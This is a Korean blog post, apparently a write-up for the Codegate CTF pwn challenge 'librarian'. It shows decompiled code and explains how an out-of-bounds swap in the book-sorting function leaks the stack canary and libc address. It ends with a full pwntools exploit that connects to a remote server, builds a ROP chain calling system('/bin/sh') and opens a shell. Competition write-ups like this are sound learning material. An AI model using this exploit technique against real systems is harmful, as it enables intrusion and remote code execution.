[ codegate - pwn] librarian

2023. 6. 18. 22:23ctf

반응형

 

 

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  int v5; // [rsp+8h] [rbp-798h] BYREF
  int v6; // [rsp+Ch] [rbp-794h]
  char book_list[1928]; // [rsp+10h] [rbp-790h] BYREF
  unsigned __int64 v8; // [rsp+798h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  sub_184C();
  v3 = time(0LL);
  srand(v3);
  memset(book_list, 0, 0x780uLL);

  while ( book_num <= 9 )
  {
    v6 = rand() % 30;
    strcpy(&book_list[128 * book_num], &book_title_list[64 * v6]);
    ++book_num;
  }

  do
  {
    sub_1893();
    __isoc99_scanf("%d", &v5);
    switch ( v5 )
    {
      case 1:
        print_book_list(book_list);
        break;
      case 2:
        if ( book_num > 14 )
        {
          puts("The book list is full.");
        }
        else
        {
          add_book(book_list);
          change_book(book_list);
        }
        break;
      case 3:
        sub_172A(book_list);
        break;
      case 4:
        remove_all(book_list);
        break;
      case 5:
        puts("Exiting...");
        break;
      default:
        puts("Invalid choice. Please try again.");
        break;
    }
  }
  while ( v5 != 5 );
  return 0LL;
}

 

 

add_book

unsigned __int64 __fastcall add_book(__int64 book_list)
{
  int v2; // [rsp+1Ch] [rbp-54h]
  char title[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Book title: ");
  v2 = read(0, title, 63uLL);

  if ( title[v2 - 1] == 10 )
    title[v2 - 1] = 0;

  memcpy(((book_num << 7) + book_list), title, v2);
  ++book_num;
  return v4 - __readfsqword(0x28u);
}

 

 

print_book_list

__int64 __fastcall print_book_list(__int64 book_list)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  puts("Current Book List:");
  for ( i = 0; ; ++i )
  {
    result = book_num_10;

    if ( i >= book_num_10 )
      break;

    printf("%d. ", i + 1);
    write(1, ((i << 7) + book_list), 64uLL);
    puts(&byte_2020);
  }
  return result;
}

 

 

change_book

unsigned __int64 __fastcall change_book(__int64 book_list)
{
  __int64 *v1; // rax
  _QWORD *v2; // rax
  int v4; // [rsp+1Ch] [rbp-A4h]
  __int64 v5; // [rsp+20h] [rbp-A0h]
  __int64 v6; // [rsp+28h] [rbp-98h]
  __int64 v7; // [rsp+30h] [rbp-90h]
  __int64 v8; // [rsp+38h] [rbp-88h]
  __int64 v9; // [rsp+40h] [rbp-80h]
  __int64 v10; // [rsp+48h] [rbp-78h]
  __int64 v11; // [rsp+50h] [rbp-70h]
  __int64 v12; // [rsp+58h] [rbp-68h]
  __int64 v13; // [rsp+60h] [rbp-60h]
  __int64 v14; // [rsp+68h] [rbp-58h]
  __int64 v15; // [rsp+70h] [rbp-50h]
  __int64 v16; // [rsp+78h] [rbp-48h]
  __int64 v17; // [rsp+80h] [rbp-40h]
  __int64 v18; // [rsp+88h] [rbp-38h]
  __int64 v19; // [rsp+90h] [rbp-30h]
  __int64 v20; // [rsp+98h] [rbp-28h]
  unsigned __int64 v21; // [rsp+A8h] [rbp-18h]

  v21 = __readfsqword(0x28u);
  v4 = book_num - 2;
  while ( v4 >= 0 )
  {
    if ( strcmp((((v4 + 1LL) << 7) + book_list), ((v4 << 7) + book_list)) >= 0 || v4 == book_num )
    {
      --v4;
    }
    else
    {
      v1 = ((v4 << 7) + book_list);
      v5 = *v1;
      v6 = v1[1];
      v7 = v1[2];
      v8 = v1[3];
      v9 = v1[4];
      v10 = v1[5];
      v11 = v1[6];
      v12 = v1[7];
      v13 = v1[8];
      v14 = v1[9];
      v15 = v1[10];
      v16 = v1[11];
      v17 = v1[12];
      v18 = v1[13];
      v19 = v1[14];
      v20 = v1[15];
      memcpy(v1, (((v4 + 1LL) << 7) + book_list), 64uLL);
      memcpy(((v4 << 7) + book_list + 64), (((v4 + 1LL) << 7) + book_list + 64), 64uLL);
      v2 = (((v4 + 1LL) << 7) + book_list);
      *v2 = v5;
      v2[1] = v6;
      v2[2] = v7;
      v2[3] = v8;
      v2[4] = v9;
      v2[5] = v10;
      v2[6] = v11;
      v2[7] = v12;
      v2 += 8;
      *v2 = v13;
      v2[1] = v14;
      v2[2] = v15;
      v2[3] = v16;
      v2[4] = v17;
      v2[5] = v18;
      v2[6] = v19;
      v2[7] = v20;
      ++v4;
    }
  }
  return v21 - __readfsqword(0x28u);
}

 

 

remove_all

_all(void *book_list)
{
  void *result; // rax

  result = memset(book_list, 0, book_num_10 << 7);
  book_num = 0;
  return result;
}

 

 

공격 시나리오 

1. 4번 메뉴로 모든 책을 초기화 시킨다.

 

2. 2번 메뉴로 책 15권을 모두 채워넣어 book_num변수의 값을 15로 만들어준다.

    왜냐하면 change_book 함수에서 v4에 book_num -2 값을 넣고 아래 사진의 조건문으로 

    들어가지 않으면 v4 ++을 진행해서 v4를 최대 14까지 만들 수 있고 14로 만들면

    (14 << 7) + book_list와 (15 << 7) + book_list 를 swap 하기 때문에 libc와 canary를 릭할 수 있다.

 

   왜냐하면 book_list는 rbp-0x790 ~ rbp-0x8까지의 영역이지만 저 15 << 7 + book_list의 주소는

   rbp-0x10 가 되고 그 위치부터 128바이트를 14 << 7 + book_list 주소와 스왑하기 때문에

   main ret과 canary를 책 리스트로 옮길 수 있고 1번 케이스(print_book_list) 를 통해 출력이 가능하다.

 

3. 립씨 베이스를 통해 라이브러리에서 /bin/sh문자열, system주소, pop rdi 가젯을 찾아주고

    4번 케이스를 통해 모든 책을 지우고 1번처럼 책 15권을 채워넣으면서 change_book에서 

    ret 을 덮을 수 있는 번호를 통해 rop으로 쉘을 따면 된다

    rop payload는 13번째 책에 넣어주면 되는데 그 이유는 change_book 함수에서

    15 - 2 << 7 + book_list와 15 - 1 << 7 + book_list을 스왑하고 v4++을 한다.

    그럼 다음 반복문에서는 15 - 2 << 7 + book_list 내용과 ret 부분을 치환하기 때문에

   더미값으로 위치조정 잘 해서 13번째 책에 rop 페이로드를 구성해주면 끝!!

 


exploit

from pwn import *
import time

context.log_level = "debug"

r = remote("43.201.16.196", 8888)
#r = process("./librarian")

input()

r.sendlineafter(b"choice: ", b'4')

for i in range(-15, 0):
    r.sendlineafter(b"choice: ", b'2')
    r.sendlineafter(b"title: ", str(i).encode())

r.sendlineafter(b"choice: ", b'1')

book_list = r.recvuntil(b"Menu:")

#canary 뒤에 0x1이 위치한다는 특징을 통해 canary, main ret 위치 파악
find = book_list.find(b"\x01") 

canary = book_list[find-7:find].rjust(8, b"\x00")
main_ret = u64(book_list[find+8:find+14].ljust(8, b"\x00"))
libc_base = main_ret - 0x23510
bin_sh = libc_base + 0x1b61b4
rdi = libc_base + 0x23e75
system = libc_base + 0x4e521

print("canary :", canary)
print("main ret :", hex(main_ret))
print("libc base :", hex(libc_base))

r.sendlineafter(b"choice: ", b'4')

for i in range(-15, 0):
    r.sendlineafter(b"choice: ", b'2')

    if i == -2:
        r.sendlineafter(b"title: ", b"A" * 8 + canary + p64(0x1) + p64(rdi) + p64(bin_sh) + p64(1) + p64(system))

    else:
        r.sendlineafter(b"title: ", str(i).encode() + chr(65+i+15).encode() * 0x10)

r.sendlineafter(b"choice: ", b'5')

r.interactive()

 

반응형

'ctf' 카테고리의 다른 글

[ CCE 사이버공격방어대회 ] n0t rand0m  (3) 2023.06.12
Dreamhack CTF Season 3 Round #2  (0) 2023.04.22
[ layer7 ctf ] Christmasgift  (0) 2022.12.20
[ 화이트햇 콘테스트 ] left_right  (0) 2022.10.17